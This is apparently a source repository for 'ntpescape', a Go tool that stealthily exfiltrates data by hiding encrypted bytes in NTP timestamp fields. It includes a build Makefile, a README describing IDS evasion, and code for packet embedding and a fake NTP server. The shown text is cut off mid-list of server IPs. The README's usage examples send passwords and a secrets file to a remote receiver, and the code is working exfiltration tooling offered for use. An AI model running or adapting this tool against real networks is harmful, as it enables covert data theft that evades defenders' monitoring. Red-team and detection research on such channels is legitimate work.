├── .gitignore ├── Makefile ├── README.md ├── cmd ├── recv │ └── main.go └── send │ └── main.go ├── common ├── aes.go ├── ntp.go └── util.go ├── doc ├── img │ ├── client_screenshot.png │ └── response_screenshot.png ├── ntpescape_DFD.pdf └── threatmodel_securitypolicy.md ├── go.mod ├── recv └── recv.go └── send └── send.go /.gitignore: -------------------------------------------------------------------------------- 1 | # Binaries for programs and plugins 2 | *.exe 3 | *.exe~ 4 | *.dll 5 | *.so 6 | *.dylib 7 | 8 | # Test binary, built with `go test -c` 9 | *.test 10 | 11 | # Output of the go coverage tool, specifically when used with LiteIDE 12 | *.out 13 | 14 | # Dependency directories (remove the comment below to include it) 15 | # vendor/ 16 | 17 | test.go 18 | bin/ 19 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | # Makefile 2 | 3 | .ONESHELL: build 4 | .SILENT: build 5 | 6 | build: 7 | mkdir -p ./bin 8 | if [ "$$RECVGOOS" = "windows" ]; then 9 | export RECVNAME="./bin/recv.exe" 10 | else 11 | export RECVNAME="./bin/recv" 12 | fi 13 | if [ "$$SENDGOOS" = "windows" ]; then 14 | export SENDNAME="./bin/send.exe" 15 | else 16 | export SENDNAME="./bin/send" 17 | fi 18 | export KEY=$$(od -vN 16 -An -tx1 /dev/urandom | tr -d " \n") 19 | GOOS=$$SENDGOOS GOARCH=$$SENDGOARCH go build -o $$SENDNAME \ 20 | -ldflags="-X \ 21 | 'github.com/evallen/ntpescape/common.KeyString=$${KEY}'" \ 22 | ./cmd/send/main.go 23 | GOOS=$$RECVGOOS GOARCH=$$RECVGOARCH go build -o $$RECVNAME \ 24 | -ldflags="-X \ 25 | 'github.com/evallen/ntpescape/common.KeyString=$${KEY}'" \ 26 | ./cmd/recv/main.go 27 | echo "Executables created with key: $${KEY}" 28 | echo "Placed at: $$SENDNAME $$RECVNAME" 29 | 30 | build-recv-windows: 31 | RECVGOOS=windows RECVGOARCH=amd64 make build 32 | 33 | build-send-windows: 34 | SENDGOOS=windows SENDGOARCH=amd64 make build 35 | 36 | build-send-windows-recv-windows: 37 | RECVGOOS=windows RECVGOARCH=amd64 make build SENDGOOS=windows SENDGOARCH=amd64 make build 38 | 39 | clean: 40 | rm ./bin/* 41 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | `ntpescape` 2 | =========== 3 | 4 | **A reasonably stealthy NTP data exfiltration client** 5 | 6 | `ntpescape` is a tool that can stealthily 7 | (but slowly) exfiltrate data 8 | from a computer using the Network Time Protocol (NTP). 9 | 10 | See [here](doc/threatmodel_securitypolicy.md) for how to protect your organization against this! 11 | 12 | It contains many features designed to make the exfiltration 13 | very difficult to detect: 14 | * **All messages are embedded within _legitimate_ NTP client 15 | packets, and no additional information is added to each** - message info is embedded within the last two bytes 16 | of the transmit timestamp, which in normal NTP packets is 17 | very high-entropy (nearly random) due to the imprecision of 18 | most clocks. 19 | * **All sent data is encrypted with a secret key so that:** 20 | * Defenders cannot detect data transfer because the data 21 | will appear statistically random, similar to the 22 | least-significant bytes of the timestamp in normal 23 | NTP traffic, and 24 | * Defenders cannot read the transferred data even if they 25 | suspect exfiltration. 26 | * **The receiver responds to all sent client packets as if it 27 | is a real NTP server, replying with realistic timestamps:** 28 | * The receiver even simulates its own updates, randomly 29 | selecting a Stratum 1 NTP server to pretend to "update" 30 | from periodically. It fills this information in its 31 | response packets as normal NTP servers would. 32 | * All applicable data is randomized slightly to simulate 33 | real-world servers and to make it difficult to detect 34 | `ntpescape` response packets with an IDS. 35 | * **The sender leverages the (legitimate!) server responses 36 | to implement reliable data transfer, using each server 37 | response as an "acknowledgement".** 38 | * It retries packets 39 | that failed to send. 40 | * **The sender implements realistic NTP client request delays.** 41 | * The sender waits a random, configurable delay before 42 | sending each packet to simulate a normal NTP daemon. 43 | * **Encryption keys are hardcoded into each send / receive pair, 44 | but randomized at build time.** 45 | 46 | Screenshots 47 | ----------- 48 | 49 | ![Client packet screenshot](doc/img/client_screenshot.png) 50 | _This client (actually sent at 18:15:10UTC) packet transmits 51 | the bytes 'hi'. Where's the data?_ 52 | 53 | ![Response packet screenshot](doc/img/response_screenshot.png) 54 | _This response packet contains simulated and randomized 55 | data to make it seem as legitimate as possible._ 56 | 57 | Table of Contents 58 | ----------------- 59 | - [`ntpescape`](#ntpescape) 60 | - [Screenshots](#screenshots) 61 | - [Table of Contents](#table-of-contents) 62 | - [Quickstart](#quickstart) 63 | - [Detailed Usage](#detailed-usage) 64 | - [Sender](#sender) 65 | - [Receiver](#receiver) 66 | - [How it works](#how-it-works) 67 | - [NTP protocol basics](#ntp-protocol-basics) 68 | - [NTP packet structure](#ntp-packet-structure) 69 | - [Sender message embedding](#sender-message-embedding) 70 | - [Receiver operation](#receiver-operation) 71 | - [Reliable data transfer](#reliable-data-transfer) 72 | - [Limitations / Future Work](#limitations--future-work) 73 | 74 | Quickstart 75 | ---------- 76 | 77 | Clone the repository and build: 78 | ```bash 79 | git clone git@github.com:evallen/ntpescape.git 80 | make build 81 | ``` 82 | 83 | Put the receiver executable `./bin/recv` on the server 84 | you want to use to receive data. Then, run 85 | ```bash 86 | sudo ./recv -d :123 # 123 is NTP port 87 | ``` 88 | 89 | Put the sender executable `./bin/send/` on the machine you 90 | want to exfiltrate data from. Then run the following to 91 | quickly send data over NTP (not stealthily). 92 | ```bash 93 | echo "hello, world" | ./send -d :123 -tm 0 -tM 0 94 | ``` 95 | 96 | Detailed Usage 97 | -------------- 98 | 99 | ### Sender 100 | 101 | Pass input to the sender through STDIN or a file. 102 | 103 | `./send [-d string] [-f string] [-h] [-tM int] [-tm int]` 104 | 105 | |Flag|Meaning|Description| 106 | |----|-------|-----------| 107 | |`-d string`| destination | the host to send NTP packets to (default `localhost:123`)| 108 | |`-f string`| file | an optional file to exfiltrate from ('`-`' for STDIN) (default "`-`")| 109 | |`-h`|help| print help| 110 | |`-tM int`| maxdelay | the maximum time (secs. >= mindelay >= 0) between messages sent. 0 = no delay. (default 1024)| 111 | |`-tm int`| mindelay | the minimum time (secs. >= 0) between messages sent. 0 = no delay. (default 64)| 112 | 113 | Examples: 114 | * Stealthy usage (most Linux distributions send NTP client requests with delays varying between 64 and 1024 seconds) 115 | ``` 116 | echo "important password" | ./send -d :123 -tM 1024 -tm 64 117 | ``` 118 | * Send file 119 | ``` 120 | ./send -d -f secrets.txt 121 | ``` 122 | * Send immediately 123 | ``` 124 | echo "fast transfer" | ./send -d :123 -tM 0 -tm 0 125 | ``` 126 | * Print help 127 | ``` 128 | ./send -h 129 | ``` 130 | 131 | ### Receiver 132 | 133 | Output of sender goes to STDOUT or a file. 134 | 135 | `./recv [-d string] [-f string] [-h]` 136 | 137 | |Flag|Meaning|Description| 138 | |----|-------|-----------| 139 | |`-d string`| destination | what host and port to listen to, like `:123` (standard NTP port) (default "`:123`") | 140 | |`-f string`| file | file path to also dump output to | 141 | |`-h` | help | print help | 142 | 143 | Examples: 144 | * Normal usage (output to STDOUT) _(need `sudo` for privileged 145 | NTP port `123`)_ 146 | ``` 147 | sudo ./recv 148 | ``` 149 | * Output to file 150 | ``` 151 | sudo ./recv -f received.txt 152 | ``` 153 | * Listen on different port (can avoid `sudo`) 154 | ``` 155 | ./recv -d :50001 156 | ``` 157 | * Print help 158 | ``` 159 | ./recv -h 160 | ``` 161 | 162 | How it works 163 | ------------ 164 | 165 | ### NTP protocol basics 166 | 167 | When a client wants to know the time, it sends a "client packet" 168 | to an NTP server with its current time in the "transmission 169 | timestamp". 170 | 171 | The NTP server receives the packet, fills in the time it 172 | received the packet, fills in the rest of the fields with 173 | various information (such as where the server gets its 174 | own time from), moves the original transmit timestamp into 175 | the "origin timestamp", fills in a final transmission timestamp, 176 | and then sends it back to the client. 177 | 178 | ### NTP packet structure 179 | 180 | The structure of an NTP packet as defined in 181 | [RFC 5905](https://datatracker.ietf.org/doc/html/rfc5905#section-7) 182 | is shown below. 183 | 184 | ``` 185 | 0 1 2 3 186 | 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 187 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 188 | |LI | VN |Mode | Stratum | Poll | Precision | 189 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 190 | | Root Delay | 191 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 192 | | Root Dispersion | 193 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 194 | | Reference ID | 195 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 196 | | | 197 | + Reference Timestamp (64) + 198 | | | 199 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 200 | | | 201 | + Origin Timestamp (64) + 202 | | | 203 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 204 | | | 205 | + Receive Timestamp (64) + 206 | | | 207 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 208 | | | 209 | + Transmit Timestamp (64) + 210 | | | 211 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 212 | | | 213 | . . 214 | . Extension Field 1 (variable) . 215 | . . 216 | | | 217 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 218 | | | 219 | . . 220 | . Extension Field 2 (variable) . 221 | . . 222 | | | 223 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 224 | | Key Identifier | 225 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 226 | | | 227 | | dgst (128) | 228 | | | 229 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 230 | 231 | Figure 8: Packet Header Format 232 | ``` 233 | 234 | Most legitimate NTP client packets only have the first 8 bits 235 | and the transmit timestamp filled, where the transmit timestamp 236 | contains the current client time at transmission. 237 | 238 | ### Sender message embedding 239 | 240 | We can only put data into the first 8 bits or the transmit 241 | timestamp to keep the packet looking like a normal client request. 242 | 243 | The first 8 bits are vital because they specify the type of packet, 244 | so we must use the transmit timestamp. 245 | 246 | The transmit timestamp has a seconds component (32 bits) and 247 | a fractional component (32 bits). Most computers do not have 248 | precise enough clocks to accurately fill the fractional component, 249 | so the NTP RFC specifies those clients to randomly fill the 250 | bottom bits. 251 | 252 | **We can abuse this to hide our own data in those bits as long 253 | as our data also seems random.** 254 | 255 | We can do this by sending data two bytes at a time, encrypted, 256 | in the bottom two bytes of the transmit timestamp fractional 257 | component. Encrypting our data makes it seem random, so it 258 | is very hard to detect. We need a nonce for the encryption that 259 | both sides know, so we use the rest of the timestamp for that since 260 | it will not repeat for about ~136 years. 261 | 262 | The result is a legitimate NTP client request that contains 263 | hidden data in the random lower bits of the transmit timestamp. 264 | 265 | ### Receiver operation 266 | 267 | The receiver receives these packets, decrypts the bottom two 268 | bytes with the secret key it knows and the nonce derived from the 269 | rest of the timestamp, and records the data. 270 | 271 | It crafts a response packet to send back so that 272 | 1. The NTP traffic looks normal to observers, and 273 | 2. The sender knows its message was correctly received. 274 | 275 | The receiver fills in the receive time when it receives the packet, 276 | fills in the root server info (see below), moves the client's 277 | transmit timestamp to the origin timestamp, and fills in the 278 | server's own time into the transmission timestamp at the very 279 | end. This makes the packet a legitimate NTP response. 280 | 281 | The receiver periodically simulates updating itself with root 282 | servers. It does this by randomly picking a new root server IP 283 | to use as its "Reference ID" field, and randomly generates new 284 | values for the "Root Dispersion" and other fields. This makes 285 | it hard for IDSes to detect any patterns unique to the `ntpescape` 286 | responses. 287 | 288 | ### Reliable data transfer 289 | 290 | The sender will send the same message over and over until it 291 | gets a valid response from the server (with typical delays 292 | between each send, of course). After a certain number of 293 | tries, it will give up. 294 | 295 | Limitations / Future Work 296 | ------------------------- 297 | 298 | * Data transfer can be very slow under stealthy 299 | settings. 300 | * Data transfer can be quicker but easy to detect 301 | (why does this machine want the time so often?) 302 | * Future work could: 303 | * Abuse some of the security extensions to the protocol 304 | as legitimate additional space to hide data. 305 | -------------------------------------------------------------------------------- /cmd/recv/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "github.com/evallen/ntpescape/recv" 4 | 5 | func main() { 6 | recv.Main() 7 | } -------------------------------------------------------------------------------- /cmd/send/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "github.com/evallen/ntpescape/send" 4 | 5 | func main() { 6 | send.Main() 7 | } -------------------------------------------------------------------------------- /common/aes.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "crypto/aes" 5 | "crypto/cipher" 6 | "encoding/hex" 7 | "errors" 8 | "fmt" 9 | ) 10 | 11 | // DUMMY VALUE! Set at build time with 12 | // -ldflags="-X 'github.com/evallen/ntpescape/common.KeyString='" 13 | var KeyString = "00112233445566778899AABBCCDDEEFF" 14 | const KeyLen = 16 15 | 16 | // Encrypt a plaintext using AES CTR-mode encryption. 17 | // The `key` and `nonce` must each be 16 bytes. 18 | func Encrypt(plaintext []byte, nonce []byte, key []byte) ([]byte, error) { 19 | block, err := aes.NewCipher(key) 20 | if err != nil { 21 | return nil, errors.New("Couldn't make cipher from key: " + err.Error()) 22 | } 23 | 24 | ctr := cipher.NewCTR(block, nonce) 25 | 26 | ciphertext := make([]byte, len(plaintext)) 27 | ctr.XORKeyStream(ciphertext, plaintext) 28 | 29 | return ciphertext, nil 30 | } 31 | 32 | // Decrypt a ciphertext using AES CTR-mode encryption. 33 | // The `key` and `nonce` must each be 16 bytes. 34 | func Decrypt(ciphertext []byte, nonce []byte, key []byte) ([]byte, error) { 35 | block, err := aes.NewCipher(key) 36 | if err != nil { 37 | return nil, errors.New("Couldn't make cipher from key: " + err.Error()) 38 | } 39 | 40 | ctr := cipher.NewCTR(block, nonce) 41 | 42 | plaintext := make([]byte, len(ciphertext)) 43 | ctr.XORKeyStream(plaintext, ciphertext) 44 | 45 | return plaintext, nil 46 | } 47 | 48 | // Get the KeyLen-byte key from the KeyString. 49 | // We need to use a string so it can be set at compile time. 50 | func GetKey() ([KeyLen]byte, error) { 51 | keySlice, err := hex.DecodeString(KeyString) 52 | if err != nil { 53 | return [KeyLen]byte{}, fmt.Errorf("could not get key from hex string %s: %v", KeyString, err) 54 | } 55 | 56 | if len(keySlice) != KeyLen { 57 | return [KeyLen]byte{}, fmt.Errorf("hex string %s has wrong length %d; need %d", 58 | KeyString, len(keySlice), KeyLen) 59 | } 60 | 61 | keyArray := [16]byte{} 62 | copy(keyArray[:], keySlice) 63 | 64 | return keyArray, nil 65 | } -------------------------------------------------------------------------------- /common/ntp.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "encoding/binary" 5 | "fmt" 6 | "math" 7 | "time" 8 | ) 9 | 10 | // NTP time starts at 00:00:00 1 Jan 1900 UTC, while 11 | // Unix time starts at 00:00:00 1 Jan 1970 UTC. 12 | // 13 | // This calculates the number of seconds between those two times. 14 | // There were 70*365 (+17 leap) days in that period, each with 15 | // 24*60*60 seconds. 16 | const secsSinceNTPEpoch = (70*365 + 17) * (24 * 60 * 60) 17 | 18 | // NTP Packet format found from RFC 5905 19 | // https://datatracker.ietf.org/doc/html/rfc5905#section-7 20 | // 21 | // Adapted from struct used in the following tutorial: 22 | // https://medium.com/learning-the-go-programming-language/lets-make-an-ntp-client-in-go-287c4b9a969f 23 | type NTPPacket struct { 24 | Flags uint8 25 | Stratum uint8 26 | Poll uint8 27 | Precision uint8 28 | RootDelay uint32 29 | RootDispersion uint32 30 | ReferenceID uint32 31 | RefTimeSec uint32 32 | RefTimeFrac uint32 33 | OrigTimeSec uint32 34 | OrigTimeFrac uint32 35 | RecvTimeSec uint32 36 | RecvTimeFrac uint32 37 | TxTimeSec uint32 38 | TxTimeFrac uint32 39 | } 40 | 41 | // Info related to a root NTP server. 42 | // This stores anything that might change when our fake 43 | // "NTP server" reaches out to a stratum 1 server to update 44 | // itself. 45 | type RootInfo struct { 46 | RootDelay uint32 47 | RootDispersion uint32 48 | ReferenceID uint32 49 | RefTimeSec uint32 50 | RefTimeFrac uint32 51 | } 52 | 53 | // Generate a basic, legitimate NTP client packet with the current 54 | // NTP time filled in the transmit timestamp. 55 | func GenerateClientPkt() *NTPPacket { 56 | // Flags: 57 | // 00 --------- Leap year (0: no warning) 58 | // 100 ----- Version (4) 59 | // 011 - Mode (3: client) 60 | flags := uint8(0x23) 61 | ntpSecs, ntpFrac := GetNTPTime(time.Now()) 62 | 63 | packet := &NTPPacket{ 64 | Flags: flags, 65 | TxTimeSec: ntpSecs, 66 | TxTimeFrac: ntpFrac, 67 | } 68 | 69 | return packet 70 | } 71 | 72 | // Gets the NTP time in the form (NTP seconds, NTP fraction) 73 | // from a Go time.Time. 74 | func GetNTPTime(now time.Time) (ntpSecs uint32, ntpFrac uint32) { 75 | unixSecs := uint32(now.Unix()) 76 | nanoseconds := uint64(now.Nanosecond()) 77 | 78 | ntpSecs = unixSecs + secsSinceNTPEpoch 79 | 80 | // The NTP fraction is a uint32 representing the 81 | // current fraction of a second where each increment 82 | // in its value represents 1/2^32 seconds. So: 83 | // 84 | // ntpFrac * (1/2^32) = nanoseconds / 1e9 85 | // => ntpFrac = nanoseconds * 2^32 / 1e9 86 | ntpFrac = uint32((nanoseconds << 32) / 1e9) 87 | 88 | return ntpSecs, ntpFrac 89 | } 90 | 91 | // Convert a float64 `time` representing seconds to 92 | // a uint32 in NTP short format. 93 | // 94 | // NTP short format is defined in the NTP RFC as 95 | // two 16-bit numbers concatenated together - 96 | // a seconds segment, and a fractional segment. 97 | func ToNTPShortFormat(time float64) (result uint32) { 98 | timeSecs, timeFrac := math.Modf(time) 99 | 100 | var shortSecs, shortFrac uint16 101 | shortSecs = uint16(timeSecs) 102 | 103 | // Convert floating fraction (0.0 <= timeFrac < 1.0) 104 | // to NTP short fraction, where each value is 1/2^16. 105 | // 106 | // shortFrac * (1/2^16) = timeFrac 107 | // => shortFrac = timeFrac * 2^16 108 | shortFrac = uint16(timeFrac * (1 << 16)) 109 | 110 | result = 0 111 | result |= uint32(shortSecs) << 16 112 | result |= uint32(shortFrac) 113 | 114 | return result 115 | } 116 | 117 | // Generate a response packet from scratch given a set of root info to 118 | // populate it with. Fills in the transmit timestamp of the receiver `packet` 119 | // in the response packet's origin timestamp. 120 | func (packet *NTPPacket) GenerateResponsePkt(rootInfo *RootInfo) *NTPPacket { 121 | newPacket := &NTPPacket{} 122 | 123 | // Do first upon "receive" 124 | newPacket.RecvTimeSec, newPacket.RecvTimeFrac = GetNTPTime(time.Now()) 125 | 126 | // Flags: 127 | // 00 --------- Leap year (0: no warning) 128 | // 100 ----- Version (4) 129 | // 100 - Mode (4: server) 130 | newPacket.Flags = uint8(0x24) 131 | newPacket.Stratum = 2 // (secondary reference) 132 | newPacket.Poll = 3 // (invalid) 133 | newPacket.Precision = 0 134 | 135 | // Information about the last-queried Stratum 1 server 136 | // -- this might change as time goes on 137 | newPacket.RootDelay = rootInfo.RootDelay 138 | newPacket.RootDispersion = rootInfo.RootDispersion 139 | newPacket.ReferenceID = rootInfo.ReferenceID 140 | newPacket.RefTimeSec = rootInfo.RefTimeSec 141 | newPacket.RefTimeFrac = rootInfo.RefTimeFrac 142 | 143 | newPacket.OrigTimeSec = packet.TxTimeSec 144 | newPacket.OrigTimeFrac = packet.TxTimeFrac 145 | 146 | // Do last upon "transmit" 147 | newPacket.TxTimeSec, newPacket.TxTimeFrac = GetNTPTime(time.Now()) 148 | 149 | return newPacket 150 | } 151 | 152 | // Patch an existing packet so that it includes a given 2-byte (16-bit) 153 | // message in the last two bytes of the transmit timestamp fraction, 154 | // unencrypted. 155 | func (packet *NTPPacket) PatchPacketUnencrypted(message []byte) error { 156 | if len(message) > 2 || len(message) < 1 { 157 | return fmt.Errorf("invalid message length %v", len(message)) 158 | } 159 | 160 | // Initialize to zeroes so that if the message is only one byte, the final byte 161 | // is just 0x00. 162 | plaintext := []byte{0, 0} 163 | copy(plaintext, message) 164 | 165 | packet.TxTimeFrac &^= 0xFFFF // Clear bottom two bytes 166 | packet.TxTimeFrac |= uint32(binary.BigEndian.Uint16(plaintext)) 167 | packet.setLengthBitUnencrypted(len(message)) 168 | 169 | return nil 170 | } 171 | 172 | // Patch an existing packet so that it includes a given 1 or 2-byte 173 | // message in the last two bytes of the transmit timestamp fraction, 174 | // encrypted. 175 | // 176 | // See (*NTPPacket).GetNonce() for the details on the nonce used. 177 | func (packet *NTPPacket) PatchPacketEncrypted(message []byte, key []byte) error { 178 | if len(message) > 2 || len(message) < 1 { 179 | return fmt.Errorf("invalid message length %v", len(message)) 180 | } 181 | 182 | // Initialize to zeroes so that if the message is only one byte, the final byte 183 | // is just 0x00. 184 | plaintext := []byte{0, 0} 185 | copy(plaintext, message) 186 | 187 | ciphertext, err := Encrypt(plaintext, packet.GetNonce(), key) 188 | if err != nil { 189 | return fmt.Errorf("couldn't encrypt message %v: %v", plaintext, err.Error()) 190 | } 191 | 192 | packet.TxTimeFrac &^= 0xFFFF // Clear bottom two bytes 193 | packet.TxTimeFrac |= uint32(binary.BigEndian.Uint16(ciphertext)) 194 | 195 | packet.setLengthBitEncrypted(len(message), key) 196 | 197 | return nil 198 | } 199 | 200 | // Sets the length bit in encrypted mode. 201 | // 202 | // The length bit signals whether or not the message 203 | // should be interpreted as one or two bytes. 204 | // 205 | // In encrypted mode, the bit is set to the last bit 206 | // of Encrypt(0x00, packet.GetNonce(), key) if the 207 | // message is two bytes or the opposite if the message 208 | // is one byte. We do this so that the length bit 209 | // appears statistically random and cannot be detected 210 | // by an IDS as being abnormally biased towards 1 or 0. 211 | // It is only interpretable by someone with the key. 212 | func (packet *NTPPacket) setLengthBitEncrypted(length int, key []byte) error { 213 | zeroEncrypted, _ := Encrypt([]byte{0x00}, packet.GetNonce(), key) 214 | 215 | lastBit := zeroEncrypted[0] & 1 216 | lastBitBool := lastBit == 1 // Convert 1 -> true, 0 -> false 217 | 218 | if length == 2 { 219 | packet.setLengthBitRaw(lastBitBool) 220 | } else if length == 1 { 221 | packet.setLengthBitRaw(!lastBitBool) 222 | } else { 223 | return fmt.Errorf("invalid length %v", length) 224 | } 225 | 226 | return nil 227 | } 228 | 229 | // Sets the length bit in unencrypted mode. 230 | // 231 | // The length bit signals whether or not the message 232 | // should be interpreted as one or two bytes. 233 | // 234 | // In unencrypted mode, the length bit being '1' signals 235 | // a message of two bytes and a length bit being '0' signals 236 | // a message of one byte. 237 | func (packet *NTPPacket) setLengthBitUnencrypted(length int) error { 238 | if length == 2 { 239 | packet.setLengthBitRaw(true) 240 | } else if length == 1 { 241 | packet.setLengthBitRaw(false) 242 | } else { 243 | return fmt.Errorf("invalid length %v", length) 244 | } 245 | 246 | return nil 247 | } 248 | 249 | // Actually modify the length bit of the packet. 250 | // `bit` == true represents 1, 251 | // `bit` == false represents 0. 252 | func (packet *NTPPacket) setLengthBitRaw(bit bool) { 253 | if bit { 254 | packet.TxTimeFrac |= 0x00010000 255 | } else { 256 | packet.TxTimeFrac &^= 0x00010000 257 | } 258 | } 259 | 260 | // Interpret the length bit of an encrypted packet. 261 | // 262 | // Returns the length of the message in bytes: 263 | // 2 if the length bit matches the bottom bit of 264 | // Encrypt([]byte{0x00}, packet.GetNonce(), key), or 1 265 | // if not. 266 | func (packet *NTPPacket) readLengthBitEncrypted(key []byte) int { 267 | zeroEncrypted, _ := Encrypt([]byte{0x00}, packet.GetNonce(), key) 268 | 269 | lastBit := zeroEncrypted[0] & 1 270 | lastBitBool := lastBit == 1 // Convert 1 -> true, 0 -> false 271 | 272 | lengthBit := packet.readLengthBitRaw() 273 | 274 | if lengthBit == lastBitBool { 275 | return 2 276 | } else { 277 | return 1 278 | } 279 | } 280 | 281 | // Interpret the length bit of an unencrypted packet. 282 | // 283 | // Returns the length of the message in bytes: 284 | // 2 if the length bit is set, and 1 if not. 285 | func (packet *NTPPacket) readLengthBitUnencrypted() int { 286 | bit := packet.readLengthBitRaw() 287 | if bit { 288 | return 2 289 | } else { 290 | return 1 291 | } 292 | } 293 | 294 | // Get the literal value of the length bit of the 295 | // packet. 296 | // true represents 1, false represents 0. 297 | func (packet *NTPPacket) readLengthBitRaw() bool { 298 | return (packet.TxTimeFrac & 0x00010000) > 0 299 | } 300 | 301 | // Read an unencrypted client packet and get the message 302 | // out as a []byte slice. 303 | func (packet *NTPPacket) ReadPacketUnencrypted() []byte { 304 | message := make([]byte, 4) 305 | binary.BigEndian.PutUint32(message, packet.TxTimeFrac) 306 | 307 | // We only care about the bottom two bytes for the actual message 308 | message = message[2:4] 309 | 310 | if packet.readLengthBitUnencrypted() == 2 { 311 | return message 312 | } else { 313 | return message[:1] 314 | } 315 | } 316 | 317 | // Read an encrypted client packet and get the message 318 | // out as a []byte slice. 319 | func (packet *NTPPacket) ReadPacketEncrypted(key []byte) ([]byte, error) { 320 | message := make([]byte, 4) 321 | binary.BigEndian.PutUint32(message, packet.TxTimeFrac) 322 | 323 | // We only care about the bottom two bytes for the actual message 324 | ciphertext := message[2:4] 325 | 326 | plaintext, err := Decrypt(ciphertext, packet.GetNonce(), key) 327 | if err != nil { 328 | return nil, fmt.Errorf("could not decrypt ciphertext %v: %v", ciphertext, err) 329 | } 330 | 331 | if packet.readLengthBitEncrypted(key) == 2 { 332 | return plaintext, nil 333 | } else { 334 | return plaintext[:1], nil 335 | } 336 | } 337 | 338 | // Get the nonce from a packet's Transmitted Timestamp. 339 | // 340 | // The nonce does not include information from the bottom 341 | // two bytes of the TxTimeFrac since that is overwritten 342 | // with our encrypted data. 343 | // 344 | // The nonce is 16 bytes: 345 | // 346 | // 00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 347 | // \_________/ \___/ \___________________________/ 348 | // | | | 349 | // TxTimeSec TxTimeFrac[0:2] &^ 1 Zeroes 350 | // 351 | // The first four bytes are the transmit timestamp 352 | // seconds bytes; the next two bytes are the most significant 353 | // two bytes of the transmit timestamp fraction WITH the bottom 354 | // bit zeroed out. This is because we use that bottom bit 355 | // as a flag about whether the message contains 1 or 2 bytes. 356 | // 357 | // The next bytes are just zeroes. This is still a valid nonce 358 | // because the nonce will not be repeated for 2^32 seconds = 359 | // 136 years as long as packets are not sent too quickly. 360 | func (packet *NTPPacket) GetNonce() (nonce []byte) { 361 | nonce = make([]byte, 16) 362 | binary.BigEndian.PutUint32(nonce, packet.TxTimeSec) 363 | binary.BigEndian.PutUint32(nonce[4:], packet.TxTimeFrac&^0x1FFFF) 364 | binary.BigEndian.PutUint64(nonce[8:], 0) 365 | 366 | return nonce 367 | } 368 | 369 | // List of all the Stratum 1 NTP IPs that the receiver might "contact" for an update. 370 | var NtpServerIps = []string{ 371 | "216.239.35.12", 372 | "216.239.35.0", 373 | "216.239.35.4", 374 | "216.239.35.8", 375 | "216.239.35.12", 376 | "34.220.201.22", 377 | "69.89.207.99", 378 | "204.2.134.163", 379 | "192.46.215.60", 380 | "73.239.136.185", 381 | "81.21.76.27", 382 | "95.182.219.178", 383 | "185.224.145.68", 384 | "89.238.136.135", 385 | "185.103.117.60", 386 | "152.70.69.232", 387 | "162.159.200.1", 388 | "46.19.96.19", 389 | "59.103.236.10", 390 | "23.106.249.200", 391 | "91.207.136.55", 392 | "185.209.85.222", 393 | "194.190.168.1", 394 | "195.58.1.117", 395 | "213.234.203.30", 396 | "65.100.46.164", 397 | "64.79.100.196", 398 | "185.117.82.71", 399 | "143.107.229.210", 400 | "129.250.35.250", 401 | "216.218.254.202", 402 | "45.33.65.68", 403 | "147.135.201.174", 404 | "129.146.193.200", 405 | "45.55.58.103", 406 | "62.101.228.30", 407 | "108.61.73.244", 408 | "38.229.52.9", 409 | "162.159.200.1", 410 | "74.6.168.73", 411 | "45.63.54.13", 412 | "13.55.50.68", 413 | "137.190.2.4", 414 | "194.58.205.148", 415 | "209.126.83.42", 416 | "104.131.139.195", 417 | "198.199.14.18", 418 | "52.42.72.58", 419 | "44.4.53.6", 420 | "91.209.24.19", 421 | "137.184.81.69", 422 | "212.83.158.83", 423 | "50.205.244.37", 424 | "38.229.56.9", 425 | "72.14.183.239", 426 | "36.91.114.86", 427 | "110.170.126.102", 428 | "193.47.147.20", 429 | "23.92.64.226", 430 | "154.51.12.220", 431 | "91.198.87.118", 432 | "185.216.231.84", 433 | "142.202.190.19", 434 | "144.172.118.20", 435 | "192.48.105.15", 436 | "45.125.1.20", 437 | "103.242.70.4", 438 | "50.205.244.110", 439 | "72.14.183.39", 440 | "38.100.216.142", 441 | "162.159.200.123", 442 | "45.79.51.42", 443 | "108.62.122.57", 444 | "178.63.52.31", 445 | "104.156.229.103", 446 | "51.195.120.107", 447 | "91.206.8.36", 448 | "108.61.73.243", 449 | "104.131.155.175", 450 | "50.205.244.110", 451 | "51.15.175.180", 452 | "212.18.3.18", 453 | "69.164.213.136", 454 | "104.131.155.175", 455 | "50.205.244.37", 456 | "41.175.51.165", 457 | 